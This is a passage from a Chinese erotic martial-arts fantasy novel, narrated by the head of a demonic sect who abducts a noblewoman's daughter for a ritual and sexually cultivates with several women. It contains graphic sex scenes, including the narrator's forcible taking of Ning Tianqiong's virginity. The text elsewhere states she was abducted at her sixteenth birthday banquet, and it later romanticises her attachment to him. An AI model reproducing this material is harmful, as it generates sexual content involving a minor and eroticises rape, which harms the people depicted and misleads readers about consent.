淫功无间[玄幻武侠]
「亲哥哥,再来一下,嗯,再来一下啊。」宁天琼雪白的肉体因为极度的欢愉已经染上了一层娇艳的粉红,随着我一下接着一下的深入,她宛如八爪鱼般地攀上我的身体,将整个身体都钻入我的怀中。
「哼哼。」我冷冷地一笑,什么「天河冰琼」,此刻还不是在我的身下婉转求欢。
我深吸一口气,将已经上涌而来的快感给硬生生压了下去,嘿嘿,这是她的第一次,我怎么可以这样子就放过她呢?
粗大的阳具一下下地插入她那粉红色的小穴中,不断地发出两个臀部相互撞击的声音,然后又快速地抽出,带出一阵阵的粘绸液体,慢慢地打湿了身下的床单。
「天啊。」身下的宁天琼的身子突然使劲地弓了起来,将自己的小穴狠命地上迎,以便让这一下能够最大程度地进入她的身体,让她在这一次的插入中达到极限。
然而我却不给她这样的机会,为了能够好好地对她进行一番采补,让她生命中最浓烈的精华被我所吸收,以保持道胎的纯洁,我狠心地将屁股抬起,同时本来用来晃动雪臀的大手却牢牢地按住,不让她达到那生命中的极限。
「好哥哥,你就给人家吧,我受不了啦,真的受不了啦。嗯嗯嗯。」得不到此时最想要的东西,她的脑袋无意识地摇摆了起来,仿佛藉着这样的晃动,能够稍缓一下她心中的酸痒。
柔顺的秀发随着她的晃动轻轻地抚过我的胸膛,好像情人的手一般柔软,我将她放倒在床上,将粗大的阳具慢慢地抽出,用那个鸡蛋大的龟头在她的小穴外轻轻地磨擦着,不时地对着那细小的相思豆撞击两下。
顿时,宁天琼的呻吟声大了起来,臻首狂摇,两双雪白的玉臂也乱舞起来,此时此刻的她,恐怕就是她老爹在旁边看着,也会大声地求我好好爱她吧。
我继续着我的挑逗,邪笑道:「小姑娘,昨天你不是说怎样也不让我进入的吗?今天怎么就主动地求我了呢?」宁天琼此时早已理智尽失,哪还记得昨天对我说的话,心中的酸痒却是越来越难受,只急得把一个雪臀乱晃,寻找那生命中最渴望的东西,一双手也是不停地在我身上乱摸,口中无意识地呻吟道:「好哥哥,给我,给我。」「呵呵,那我就如你所愿吧,让你看看我真正的实力吧。」我微微运气,本来就已经异常粗大的阳具竟然如有神助般再次胀大变长,然后随着我的大笑,狠狠地插入其中,势如破竹般地穿过她的子宫口,进入到她那无人曾经进入过的子宫中。
硕大的龟头肆意地在子宫中撞来撞去,完全没有任何的技巧,单纯地狠插猛抽,激烈的动作让她的樱口大张,却什么也发不出来,两眼无神地望着天花板,身体只能被动地随着我的挺动在软床上晃动。
「咦?难道还是个宝了?」我惊讶道。
不要说这种初次承欢的小妞,就是久经阵仗的怨妇,恐怕也不能如此没有感觉丝毫痛楚地承受我这样粗大的阳具啊,莫非这就是书中所说的宝穴?
「嗯,好哥哥,你好厉害,我好舒服。再来一下啊。」宁天琼俏丽的脸上猛然地散发出一阵圣洁的光芒,然后她的双眼猛地张得老大,然后尖叫了一声,整个身体都软了下去。
一阵从来没有过的冲击猛然从我的阳具中传入我的大脑。
天啊!这是怎么回事?真的……真的……好爽!先不说肠壁的蠕动比起先前来不知剧烈了多少倍,也不说那穴中深处阴精喷发所造成的对我的阳具的无与伦比的冲击力,单说那高潮时那强大的吸力就已经令我无比舒爽了。
天!这种又吸又拉的感觉真他妈的……好爽!真是怎一个爽字了得!我忙运起内力,将阳具变得又硬又挺,强忍着那酥麻的感觉,让阳具如中流砥柱般在滚滚洪流中屹立不倒。
我们同时剧烈地颤抖了起来,一阵难以想像的舒爽感觉入徜徉在我们的身体中,好厉害,想要享受这种感觉,可不是一般人能够做得到的,即使有个粗大的本钱若没有相应的内力,以极能够将内力输入阳具的功夫,将其硬生生撑起,恐怕没有一个男人能够享受到这种幸福。
终于,因为连续不断高潮反应,她终于在一阵颤抖之后,昏了过去。
我深吸一口气,用丹田最深处的道胎将吸来的内力缓缓的消化分解,慢慢地溶入自己的道胎中,然后再运集全身的魔功,将道胎压至至深处,然后又使劲地挺动了几下,运起阴阳天地大法,用魔功裹着自己的种子,深深地射入她完美的身体中,以补充被我采补后略显虚弱的身子。
阴阳天地大法虽然并非是圣门中排名第一的魔功,但经过十年苦练的我的精心改造,已经紧随天魔功之后,与天心莲、噬魂决不相上下,而依靠此功成名的我,自然的,也就被誉为除沈冰冰外,年轻一辈中最具天才之人。
「你其实是个好人。」哝哝的软语轻轻地在耳边响起,我回过头来,映入眼帘的是一双似能看透我内心深处的明亮双眸,让人难以相信,它竟然与刚才那充满欲火的剪水双瞳同属于一人。
「身为花间派新任掌门,仅仅为了祭祀所需,就深入宁花庄,将其大小姐抢来,并用强夺走了她的处女身的我,竟然在受害者眼中是个好人?」我仿佛听到了出道以来最好笑的笑话,大笑起来。
但是她却并没有以为意,轻轻地道:「你是个好人。」我深深地望进她的眼眸中,想知道她这句话究竟是不是真是她心中所想,然而那明亮的双瞳,却让我不由自主地避开了。
我强笑道:「不要相信眼中所见,不要相信耳中所闻,也许你看到的一切,都只不过是不真实的一个梦而已,你太累了,好好休息一下吧。」说着,飞身而退,身形潇洒如行云流水,可见我的魔功又深一层。
************
「什么事情?」我冷冷道,胆敢在我正在练功之时打扰我,可见事情相当棘手。
「天魔宫传话过来,请掌门速速赶去商量一下……这个……如何处理她的事情。」我皱眉道:「又不是什么大不了的事,为什么非要立刻禀告我?」「因为沈冰冰她……」他支支吾吾地道,脸上不停地露出害羞的神色。
「妈的,是不是她亲自来了。奶奶的,竟敢对我的手下下手。」我一巴掌扇过去,将已经陷入温柔陷阱中的笨蛋给打得清醒了过来。
「咦~~掌门,你怎么在这里?嗯~~等等我,对了,沈冰冰在大厅中等您呢。」沈冰冰静静地坐在我的床上,两眼静静地看着我缓缓地走进大厅,由于我的练功方法是阴阳双修,所以在大厅中有一张床并不出奇。
以我现在的功力,竟然仍然看不出来沈冰冰的身材到底是个什么样子,她脸上罩了一层浅浅的薄纱,身上所穿也不过是一身淡绿色的绸衫,长裙曳地,遮住了那一双想必是极美的小脚,身上唯一可以让我想入非非的就是那裸露出来的一双如玉皓腕,却又由于若隐若现让我不由地心中一跳一跳的。
好厉害!不愧是天魔功。
虽然我到现在都不明白天魔功的原理是什么,但是效果却非常清楚,说浅显点,它像是一种迷惑人心的功法,将自己表现地总是一种神秘的感觉,让人看不透,摸不清,浑身都透出一股神秘的色彩,让人不由自主地被吸引,陷入那邪异的魅力中,但这显然并不能说清楚它的厉害之处,因为它不能解释为什么修练这种功法的人内功都是如此的高强,更无法解释它为什么天性就克制所有的魔功。
我在她身前站定,冷冷地道:「什么事要劳动沈冰冰大小姐亲自过来?」沈冰冰幽幽地看了我一眼,轻轻地嗔道:「还不是因为你惹的祸?」我暗自心惊,明明我看不清楚她的脸究竟是什么样子,为什么我可以知道她的眼神是那样的幽怨,忙暗运魔功,强自镇定道:「怎么说?」沈冰冰举手拢了拢了额前的刘海儿,慢条丝理地道:「宫主决定将她给送回去,而这个任务就由你来完成。」「为什么我要听你的话?」我冷冷地道。
「我并不命令你,而是请你帮忙。」沈冰冰平静地道。
「哦?说说理由?」我悠然地向上走去,坐在她所坐的软床上,身体离她不到一尺,一股淡淡的香味慢慢地传到我的鼻中,泌人心脾。
「她的背后有着小轩,宫主认为现在实在不宜和小轩直接交手,两面树敌,殊为不智。」沈冰冰平淡地说着,似在说着不关自己的事一般,而对我略显无礼的举动,则视而不见般没有任何反应。
「嗯?宫主竟然会主动的退出,是不是怕了小轩啊?」我带着点挑衅的语气道,心中暗暗快意,白道能有如此门派挑起大梁,又怎会惧怕我圣门。
「萧雅轩虽然是我天魔宫死敌,但我天魔宫却从来没有将它放在眼里,萧雅轩自从百年前建派以来,和我天魔宫互有胜负,虽然历经白道多年来刻意栽培,即使如此,仍然是负多胜少。又怎能和我历经几百年而不衰的圣门相提并论。」沈冰冰嘴角微动,不屑地道。
「哦?那为什么还要我将她送回去?说到底,你们还不是怕了?」我坏坏地笑道。
「任务在身,你愿意就愿意,不愿意就算。」沈冰冰面无表情地道,再不愿和我在此问题上纠缠下去。
妈的!这个小娘皮,明明知道我不忍心任何一个女孩子受到伤害,还这样子耍我,其实就算她们没有这个意思,我自己也是会去将她救出来的,不过这样也好,省得我去动手了,也免去一次暴露自己身份的机会。
我轻佻地一挑她小巧的下巴,深深地望进她深藏在迷雾中的双眸,哼,不管怎么说,就这样听她的话,不论是心情还是理智,都让我心情很是不爽,如果不做点什么,又怎么对得起授业恩师?
迷人的双瞳,仿似有着魔一般的魅力,有着无穷的吸引力,直似要把人的心神吸进去似的,使有愿意身不由己地沉溺下去,永远不再醒来。
我浑身一震,退开两步,不敢再看她的双眼,沉声道:「这件事情我尽快办好的,另外,请转告宗主,本掌门希望三天后能和各位宗主开个会议,具体商量一下关于那个计划的事情。」直至沈冰冰走出房间,我才暗地抹了一把汗,果然妖女厉害,天魔功亦不愧是魔门第一的功法,天性克制所有魔功邪法,与我的阴阳天地大法对上,不但没有任何反应,竟然还能反弹回来,若非道胎及时反应,说不定就此拜倒在沈冰冰的石榴裙下了,但那双迷雾似的双眸,却已经深深的印在我的脑海中,怎么也抹不去。
望着她渐渐远去的背影,我咬牙道:「沈冰冰,你果然好强!」热闹的夜市中,只有这里如此的安静,如果是不知情的人来到这里,绝对想不到眼前这有些破旧的小屋,竟然就是天魔宫在九江的秘密据点之一。听沈冰冰说这间屋子没有任何的秘道,而且屋子的详细结构在工部也有详细的备案,绝无半分虚假,这对以天魔宫为首的圣门来说,简直是无法想像的一件事情。
以眼神示意那位驮背的大爷自行离去,我负手立于窗前,冷冷的目光扫向屋中,心神却还在恍惚天魔宫做事果然绝得够彻底,连看门的人都是一点不会功夫的老大爷。若非宫主花想容是我所见过的最厉害的人中之一,我一定会说这个人是个不折不扣的傻瓜,要么这个人就是自信地过了头。
内心的道胎立时生起反应,却不单单是对道法的反应,似乎还有点对魔功的反应,不过这种感觉稍现即逝,再没有任何反应。
平淡无奇的市井小屋,斑斑剥剥的红砖绿瓦,略显破旧的年画对联,都在她睁开眼的一瞬间得到了升华,宁静的小屋仿似充满了仙气,缭绕不绝,破落的砖瓦就如拥有了灵气,红妆点点,宁静的年画无风而舞,摇曳生姿,这一切,都只是因为那一双眼睛,一双充满迷雾的眼睛睁开的那一刻。
我走进屋中,冷冷地注视着她。
她仔细地打量着我,没有丝毫的慌乱,平静异常,似乎并不在意自己已经进入了死对头的地盘中。
我冷冷道:「三天后,我来接你。」
她还是没有反应,只是那双大大的眼睛却紧紧地盯着我的眼睛。
突然之间,沈冰冰的迷人双眸从我的脑海中消失,取而代之的是眼前之人的清亮双瞳。
「哼。」我冷哼一声,转身就走,跟着我同来的宁天琼也随我而出。
「其实,她和你很相像的。」
「嗯?」
「深藏在表面之后的是无比的孤单与落寂,无法说出的难言痛苦,知道昨日与未来的先知先觉,都让你们有一种无法言喻的疏远感,即使表面是多么的和蔼与亮丽,但那一种深埋在心底最深处的冰冷却始终如一。」「够了。」我顿了顿,压下心中的烦意,冷冷道,「和她相像的人不是我,是沈冰冰。」同样的眼睛,同样迷雾般的双眸,同样在深深的迷茫之后那清亮的瞳孔,这个天使般的美女,为什么会和沈冰冰有着如此多的想像。
萧千荷……萧雅轩的秘传弟子,你到底是怎样的一个人啊?
身为萧雅轩的弟子,她们的身分一向不为人知,但同样神秘的魔门和她们却是老对手,所以我也稍微知道点她们事情。
完全和天魔功不一样的道门功法,在实力上却不相上下,两个完全截然相反的女子啊,也许,这就是宿命的对手吧。
宁天琼望着我渐渐远去的背影,喃喃道:「你们才是宿命的对手啊。我的爱人。」(二)
荆州自古以来就是兵家必争之地,其位于长江上游,摇控江南的中心南京,从荆州顺江而下,只需一天,即可兵临南京城下。同时它又是出蜀的最佳通道,近年来,蜀地发展越加迅速,而出蜀之道虽有三条,由于众所周知的原因,却无一条似荆州般方便,也因此此地管理非常严格,夜间少有人外出,而路上也时不时地出现一些巡逻的部队。
近年来唯一能够在此地立足的门派只有一家而已,那就是以机关见长的天机门。凭借没有人能够说得清楚的与朝廷之间的关系,十年前将原来在此地一家独大的大江道给赶出湖北省的范围,并于十年间多次将想把势力伸入进来,却无一遭到失败的大江道给打得落荒而逃。
及至二年前,天机门门主华天向将大江道宗主斩杀于荆州之后,将偌大一个黑道大派给打成一个弱小势力,天机门在湖北的风头之劲,一时无两,天机门在荆州的大本营也成为了无人敢动的白道领地。
然而这个情况却在今夜有了改变。
我伏高跃低地跳上一座高墙,双目小心地扫视四周。
漆黑的夜空是如此的美丽,无人的小巷宁静的叫人心寒,平静的街道没有半分人影。
应该没有人吧。应该!我并没有把握,我虽然对自己充满信心,却并非盲目自信,也知道世界上确实有些人是不可以用常理度之的,不过眼前的事情是不怕别人跟踪的。
我跳到园中,驾轻就熟地来到一个房间前。
这里是白道最难侵入的领地之一,但这里却并没有一个人在这里巡逻。对天机门来说,近年来够胆入侵的人几乎都受到了应有的报应,这也使得他们坚信天机门是永远不会出现被人入侵的一天,当然,其中暗藏的各种厉害机关则是他们的信心所在。
不过这种情况却再次有了改变,我以一般人难以想像的速度无声无息地躲过各种机关,悄无声息地进入这所巨大的庄园。
黑黑的房间独自矗立在一座巨大的庄园间,没有一点灯火,但是我却知道里面的人仍然在等我,由于道胎的关系,她是天下间唯一能够知道我在哪里的人,虽然不能十分准确,但对于我们这些高手,已经足够了。
「忽」的一声,房间里大放光明,粉红色的窗纸上映出一个优美的身影,一个动听的声音响起来:「你来了。」然后窗户打了开来,房间中的灯光立刻洒向了漆黑的院落。
我轻轻一跃,跳入房中,同时大手一挥,将蜡烛熄灭,轻声道:「你又把蜡烛点燃了。」女人趴在我的背上,幽幽地道:「我想看看你长得什么样子。」我道:「有什么好看的,比起欣赏彼此的美丽,我们不如做些更加有乐趣的事情,再说,你又不是没有见过我。」女子将自己胸前的双峰按在我的背上,轻轻地磨擦起来,幽怨地道:「那已经是十年前的你了,十年的时间,已经足够让任何一个人产生变化了。」我笑道:「算了,不要说这些事情了,我这也是为了安全,这么多年都过来了,还在乎这一点时间么?来吧,春宵苦短,我们还是尽情享乐吧。」女人嗯一声,将自己缩入到我怀中,梦呓般地道:「不知道为什么,在你的怀中,我总是感到好温暖,虽然我不知道现在你在做什么,但我总有一种感觉,你一直都在我的旁边。」我将她抱起来,缓缓地放到床上,屋里虽暗,但对于我这样的高手来说,一切都和白天没有什么两样,除了人的相貌以外。拥有着内功的人,总是会自发的散发出一种能量,将自己的相貌隐入其中,让人摸不清楚。
女人的身体非常的柔软,是我碰过的最柔软的身体,虽然看不清楚,但是我清楚地知道这样的身材是怎么样的一种魔鬼身材,该凸的地方绝不会凹,该凹的地方也绝不会凸。
身上传来滑滑的感觉,如羊脂白玉般细嫩润滑,可惜却看不到,我不由得有点惋惜,轻轻地抚摸那光滑细润的肌肤,真的好细,好软啊,没有视觉做辅助,我反而更能全身心地用手去感觉那份柔软。
「嗯嗯。」女人轻轻地呻吟起来,身体舒服地缩了起来,又慢慢舒展开来。
她并没有刻意地压抑自己的呻吟声,然而在这单独的广阔大院中,任何声音都不可能传到院外,而院内又没有一棵树可供藏身,唯一可以藏人的只有一座亭子,但从这里,却可以清楚地看到整个亭子。
我缓缓地脱掉她身上的小衣,将大手伸入那茁壮的双峰中,细细地品味那丝丝的嫩滑。
女人的小手伸将出来,伸入我的衣服,搂紧我的腰身。
不知为何,我突然想起尚在客栈中休息的宁天琼,想起这个被我破了处女之身的可怜女子,她和眼前的女人一样,在床上对我都分外的痴缠。
眼前的女人仿佛变成了宁天琼,而我则如在自己的床上戏弄着她。
「嗯嗯嗯,好热。」怀中的女子突然大声地呻吟起来。
「热么?那么让我来帮你散散热吧。」话声结束,大嘴一下吻上她柔软的小腹,并一路吻到她小巧的金莲。细软的肌肤似流淌的细沙般缓缓地变红,虽然看不见,但从那逐渐升起的温度,我可以深刻地感觉到怀中的女子对我的依恋。
我让过那最最敏感的地带,大嘴一路上袭,吻上那茁壮的双峰,灵巧的舌头绕着坚硬的乳头不停地转来转去,然后用牙齿轻轻咬两下,再转。
「唔唔,好舒服,哈,好痒。」女人舒服的舒展着身子,以便让我能够更好的侵犯她,但我却偏偏不如她愿,再咬两下后,不情不愿地撤离那里,大嘴再次上袭,直吻至唇。
「唔。」女人激动起来,双手环抱着我,不停地在我背上摸来摸去,香滑的小舌也自动送上来,给我一个深深的长吻。
两只灵巧的舌头互相纠缠起来,时而你追我逐,时而又紧紧纠缠不休。
我伸出双手,拉着她的小手伸进我的裤子中,让她握住我无比坚硬的阳具,然后又把自己的手放到她的酥胸上,狠狠地揉搓起来。
一股湿润滑腻的感觉充斥在阳具的周围,微微的热气让它不由自主地胀大起来。
我心中直叹,这个女子的肌肤是如此的滑腻,阳具在她手中的感觉一点也一比在小穴中的感觉差,但是若论灵活,则小穴拍马也比不上人的手灵活。
酥胸突然受到强烈的侵犯让她很想喊出声来,却由于我的大嘴而又不得不将声音咽入腹中,虽然有点痛,但那种又有点痛楚,又有点舒服的感觉却比单一的舒服又来得深刻许多,让她不停地扭起身子,而纤纤小手也着急似地上下滑动,感受着阳具的那份火热。
我再牵着她的一只手,伸到裤带前,让她帮我脱衣服,然后又用这只手滑到她的小穴边,轻轻地按摩起来。
女子的身体变得越来越热,一只小手不停在我的阳具上滑来滑去,另外一只小手则忙着帮我脱衣服。
我笑道:「这么长时间不见,你越发性急了呢。」我恰到好处的按摩让她慢慢地放松了身体,闻言身体又是一紧,羞道:「你怎么这样说,还不都是你害的。」我叹道:「让你受苦了,都是我不好,每次都不能让你尽兴。」女子幽幽一叹道:「你才是受苦呢,十年了,我每次都无法想像你现在过的是什么样的生活,若非还能时常见你一面,我真的不知道该怎么办才好。」说完一展身子,俏脸上顿时散发出一种圣洁的光辉,轻轻道:「来吧。」我叹了口气,这个女子对我爱得是如此深,我今生何德何能,能得到如此女子的垂青?
女子的小手缓缓地将我的衣物脱下,露出精壮的身子和下面那如擎天一柱般的阳具,湿润的小手将那粗大的阳具缓缓地送到自己的私处,轻轻道:「来吧,进来吧。」粗大的阳具缓缓地进入到她细嫩的私处,轻轻地抵到她的处女膜上,就停止不前,默动玄功,让阳具胀至最大,将她的处女膜顶的向后凸了出来,却没有顶破那层本应该软软的一顶就破的处女膜。
女子有点疼痛地呼了一声痛,也难怪,我阳具的粗大本来就是女子难以承受的,更何况是她这种未经人事的处女。虽然由于练功的需要不得不以处女之身与我练功,但这种让处女膜顶到最大却又不破的痛苦实在是难以想像的痛楚。而且随着练功的时间增长,她的处女膜已经非常的柔韧,但即使如此,这样的痛苦也实在不是一个像她这样和处女可以承受的。
女子默默地休息了一下,运起玄功,将自己的玉女心经发挥到最高的境界,然后内力一转,转成素女经,将自己精纯的道功缓缓地输入到我的阳具中,然后顺着督脉经由头顶百会穴进入任脉,在身体的奇经八脉中运行一圈,重新通过阳具进入女子的身体。
内力的每一次转动,我们的身体都不由轻轻地颤抖一次,经脉也随之而微微地扩大一圈,里面流动的内力也随之微微地变得更加厚实而凝重,而我们也更加接近天道一点。
素女经是她从小就开始修练的功夫,其排名甚至还在玉女心经之前,但是这种功夫却需要有着深厚的内力基础,而且需要玉女心经做为基础,所以虽然是双修之术,却由于为了获得更加多的内力,她不得不默默忍受这种难言的痛苦。如果失去处女之身,效果将大大减缓。
当然若非如此,我们两个也不会在如此年轻的时候就达到人位的顶峰水平,毕竟我们两个虽然资质不错,却并非沈冰冰那样的百年难得一遇的天才,而且由于一些身体的原因,她并不能修习那些绝世功法,只能修练这些实际上作为修道之术的内功。
在最后一次的转动中,女子突然将自己的道功的大部分传入我的体内,然后封闭了我们之间的联系,不再让内力重新传回来。
吸收到女子精深的道功,我的意识在瞬间达到顶峰,猛然间感受到天地之间的那股奇特的能量,那种沛然莫测的能量缓缓从我的百会穴进入到我的经脉中,然后在自己的体内流转如意。
我的精神慢慢地进入到天地间,深刻地感受着与天地一体的动人感觉。
就在这时,一股轻微的能量波动吸引了我的注意,整个人一震间,立刻脱离了那种至美至远的悠远感觉。
「好可惜。」我低声道。我知道,随着自己内力修为日深,我已经隐隐约约地感觉到总有一天我会进入到那种与天地一体的动人感觉中,而刚才我在模糊之间终于进入到那种非同一般的境界之中,而下一次再想进入到这种境界之中,不知道会是什么时候了。
我慢慢地将被子盖到她秀挺的身上,感受到她因失功过多而身体略显发冷,心中一阵怜惜。
「亲爱的人儿啊,我该怎么报答你呢?」我望着窗外明亮的皎月轻轻地道。
我高高地跃起,在越过一座高墙之后,天地大法突然全力开动,身形猛然下降,悄无声息地落于地上,同时手指连弹,一阵「蹬蹬蹬」的脚步声随着我的气指迅速地延伸到胡同深处。
一颗小石子从墙后飞出,画出一道美丽的弧线,在我的眼中,以放慢了近百倍的速度,缓缓地落于地上,再弹起,再落下。
我静静地看着石子的变化,没有任何反应,整个人仿佛融入了黑暗中一般,再也没有任何声息。
周围渐渐地笼罩了一层难言的沉默,连风声在此刻也仿佛消失了般,没有任何的声响。
我仍然默默地立在黑暗中,等待着预料之人的降临。
她的确是一个高手,在这种情况下,仍然能感觉到有一种异样,和我比起耐心,但不同的是,我是明确知道她在后面,而她则不知道我已经看破她的行踪。
哎,轻功太好的人,总会有这样一种自信,自信别人发现不了她的行踪,但是这确实是个事实,今天若不是凑巧,恐怕我还真不知道她在我后面。
一声几近人类听觉极限的脚步声,骤然出现在我的耳边,仿如平静的湖面投下了一颗石子般,打碎了我平静的心湖,荡起一阵阵的涟漪。一双粉红的绣花鞋同时出现在我眼中,又几乎如没有出现过一般,迅速地消失,若非我一直留心,说不定只会以为那一闪即逝的粉红,只不过是我自己的错觉而已。
好轻,这就是传说中比鸿毛还要轻的天魔妙舞么?
我缓缓地抬起头来,有若实质的目光,已经盯在了她秀挺的后背上,令得正飞速前进的她猛然一惊,完全违背了物理定理似的凭空而停,再不敢稍动一下。
我悠悠然地缓步走近她的背后,悠然道:「你已经跟踪了我三个时辰,可有什么发现么?」她明显地震惊了一下,似是惊讶在那种极度欢愉的疯狂中,我仍然能够发现她天下至轻的天魔妙舞。
我的眼光转到她宛若刀削般的双肩,有若实质的感觉让她清楚的明白我已经知道了她下一步想要做什么,警告的意味非常明显。
她微微地抖了一下,被完全看透的感觉在心中慢慢地滋生,紧绷的身子终于松了下来,媚声道:「向掌门,想不到妙绝天下的才女,天机门以聪慧闻名天下的大小姐,竟是向掌门的小情人儿,怪不得向掌门对我圣门的少女们不屑一顾,原来是私藏了如此出色的美人儿。」我将手伸到她的下巴,将她滑嫩的脸蛋儿慢慢地向后转,直至面对着我,才笑道:「小美人儿,是不是你也想尝尝那种滋味?」她的脸全罩上了黑布,连眼睛也没有放过,据说只有这样,才能保证不会有任何的反光。
「向掌门,难道您就不想试试天魔妙舞的滋味吗?」她的身体轻轻地扭动了一下,声音中的媚妮又增加了几分。
「小娃儿,想媚惑我?你省省吧,若非看在你家小姐的面上,明天就让你下不了床,回去告诉你家小姐,不要再做出这种事,我的事情,不用她操心,好不好?小宝贝。」我柔声道,丝丝的热气轻轻地喷在她的小耳中,使得她的身体有些发软。
「嗯。」知道在鲁班门前弄大斧的后果,她果然站直了身体,声音也回复正常。
「那么,宝贝儿,再见了,希望下次再见到你时,脸上不要再戴上这个鬼东西,会变得难看哦。」语毕之时,我人已消失在黑暗深处,留下她一个怔怔地呆了半晌,然后才如来时一般消失不见。
嘿嘿,今次真是赚了。那小妞的轻功几近天下无双,恐怕只有白道中的燕双飞才可堪比拟。若非我当时正在吸炼华天慧的精纯内功,生命及意识都处在生命中最浓烈的状态,根本不可能发现停在树外没有任何动静的她。
然后我巧施手段,轻轻松松地就在她心中埋下了我不可战胜的影子,不仅去此强敌,更不用担心以后什么事情都得防备防不胜防的天魔妙舞了。从此之后,天魔宫再也找不出能够跟踪我而不被我发觉的人了吧。
呵呵,今天晚上,恐怕做梦都会笑出来了。
我悄无声息地从窗户中钻入自己的的房间,正要躺下睡觉,却猛然闻到一股熟悉的的芳香。
我叹了口气,柔声道:「你这又是何苦?你实在应该恨我才对。」宁天琼幽幽道:「你明天就要把我送回去了,你会想我么?」我苦恼地道:「大小姐,你清醒一下好不好。我是对你不起的坏人,而你则是宁心庄的大小姐,我把你抓来,只不过是为了什么劳什子的圣门祭祀而已,绝不是对你有什么好感,明白了吧。」虽然这些话会伤着她,但我已经顾不得了,我自从破了她的处女身之后,就已经开始后悔了。
当初师父横死,我成为唯一的有资格继承圣门花间派之人,然而要成为花间派的掌门,必须抓一个处女做祭祀,可是我实在千不该,万不该,为了将此事闹大,竟然孤身独闯宁心庄,硬生生在众多白道巨孽面前,将其大小姐强行架走,之后在床上躺了一个星期不说,现在更弄得自己不得不再乖乖地将她给送回家。
「你是个好人。」宁天琼的小嘴轻轻一抿,「我感觉的到。」「娘的,你这个小妞到底明不明白?奶奶的熊,真他妈的顽固。」我恼道。
这个笨蛋,真是气人,难道她就不明白正邪之分,真不知道她这几十年到底是怎么活过来的,胸大无脑。
宁天琼微微一笑,直直地盯着我,那似能看透人心深处的明亮双眸,竟让我不由自主地避开了他灼灼的目光。娘的,为什么我会心虚?我这些年努力修练的功夫都到哪里去了?
对话到这里很显然已经无法进行下去,我不敢再面对他,自己到她的房间去休息,而她则留在我的房间中,也许,我们……应该都好好地想一想。
(三)
三天后,我悄悄地带着宁天琼到了西安。
这时候的宁心庄已经没有了往日的平静,在宽敞的大厅中,聚集了白道百年来声望卓越的几十人,现在这里的规模已经可以算是白道近年来最大的聚会了。
十天前,就在这间大厅中,宁心庄的大小姐在其父为其举办的十六岁生日宴会上,在在座的众多白道年轻俊彦的眼皮底下,被魔门花间派的向正道给公然掳走,消息一传出,立刻在江湖上引起轩然大波,被白道各门各派及宁心庄视为奇耻大辱,发誓要寻出向正道千刀万剐,以雪此耻。
与此同时,江湖不论黑道亦或白道,纷纷召集人手,大力调查这件事中的主角——向正道是何许人物,并且将调查的重心,慢慢地向魔门转移,以求得到最新的魔门动向。
然而三天前,另外一个消息从魔门散发出来,令得武林人士纷纷猜测起这个向正道究竟有什么本领,竟然这样公然向整个白道宣战。
就在今天午时,向正道将会亲自护送宁天琼回家。
魔门一向行踪隐蔽,这样公然地挑战,不仅是十年来魔门第一次出手,即使是在十年前魔门最嚣张的时候,也从未如此明目张胆。各大派人士,各类游侠,纷纷前往宁心庄,意欲一睹这位胆敢公然向白道挑衅的魔门最年轻的高手之一,到底是怎样的三头六臂。
然而这次之所以会来了如此多的人,并不是因为魔门年轻一辈中最杰出的高手,而是这是魔门十年来的首次出手,经过十年养精蓄锐的魔门,现下的实力究竟强到什么程度?这是各大门派极欲探知的情报,当然此时的宁心庄的门外能聚集如此多的人,也有着其它的原因。
「听说宁天琼号称『天河雪琼』,不知道她的美貌比之咱们的师妹如何?」「那还用说,人家号称天下四大美女之一,那样的美貌又怎是你那师妹能比得了的。哼,便宜那个向正道了。」「就是,这么好的大美女就这样被他糟蹋了。」「杀了他,杀了他。」「对,杀了他,嘿嘿,说不定,凭咱们的本事,还能赢得美人芳心呢。」「对,杀了他。」我冷笑着看着眼前这愤怒地挥舞着拳头的一对,冷哼道:「果然天下之大,人外有人,当然,反过来也一样。」宁天琼罩上了面罩的小脸轻轻地一笑,将脸凑过来道:「他们这是在嫉妒你呢。」我哼道:「我明白他们为什么来了。不过,怎么来这里的女的也这么多?」江湖中这样的青年多的是,他们每天就是四处打听着会有什么事情发生,当然其中亦不乏像样的高手。
年青一辈中意欲斩杀向正道,上演英雄救美,然后名色兼收也为数不少,不过由于派中长老的限制,才没有进入庄中,所以在庄外的不能一概而论都是些不值一提的小角色。在师门的严令下,他们不能对我做出任何攻击的行动,所以现在这些人中盼我不死于那些正派高手中人也就是他们了吧,当然他们只不过盼望那个下手的人是他们而已。
但是这些却解释不了女子也为何如此之多,按理说,宁天琼虽然漂亮,但也不至于对同性产生如此大的吸引。
「『天河雪琼』号称江湖四大美女之一,我到要看看她到底漂亮在哪里?」「哎呀,小妹你就『实话实说』吧,我记得你临行前可是这样说的,『听说那个向正道是魔门的花间派主,人长得帅呆了,我们去看看怎么样啊,华姐,我们去看看怎么样?』」「扑,」我虽然急运内力,但那口咽了一半的饭仍然被喷出来大半,差点将我噎死。
「哎呀,小妹,你看那个人真是恶心,大家都在吃饭,他却在那里喷饭。」「就是,虽然长得还是比较帅,不过和我的向大哥比起来,还是差多了。」************大哥?我什么时候成了你的大哥了?
「咦,小妹,你不是没有见过向正道长什么样子么?怎么知道长得帅啊?」「那还用说?向大哥与宁天琼两小无猜,青梅竹马,虽然身在魔门,却日日夜夜地挂念身在白道的爱人,得知爱人即将嫁与自己不爱之人,明知危险,仍然为爱孤身独闯宁心庄,在天下人面前,向『天河雪琼』求爱,这份痴情,天下何人能及?此等至爱之人,若不是一个翩翩美少年,谁会相信?若我是那『天河雪琼』就好了,有个如此爱已之人,就是立时死了也甘愿了。」************今次连宁天琼都忍不住笑了出来。
「哎哟哟,小丫头思春了。」
「华姐你就不要说我了?难道你不是为了看向正道而来?我记得你还特意打扮了一下呢。」「死丫头片子,越来越放肆了,看我老大耳括子打你。」「你敢?哎呀,你!看招。」两个少女旁若无人地打闹起来,丝毫没有注意自己已经成了众人注意的焦点。
「我曾经有个妹妹。」我看着眼前不断喧闹的两女,出奇的,心中竟然一片平静,自从我加入圣门之后,已经好久没有这样平静的心情了。
宁天琼沉默无语,她知道我现在需要的只是一个听众而已。这个女孩,真的很聪明。
「她活泼天真,我记得她最喜欢扎两条小辫子,而我则最喜欢揪她辫子玩,但是她却从来不哭,反而赖到我怀里不肯起来,然后安然入睡,而我则会放开她的辫子,抱着她,给她唱歌。」「后来呢?」
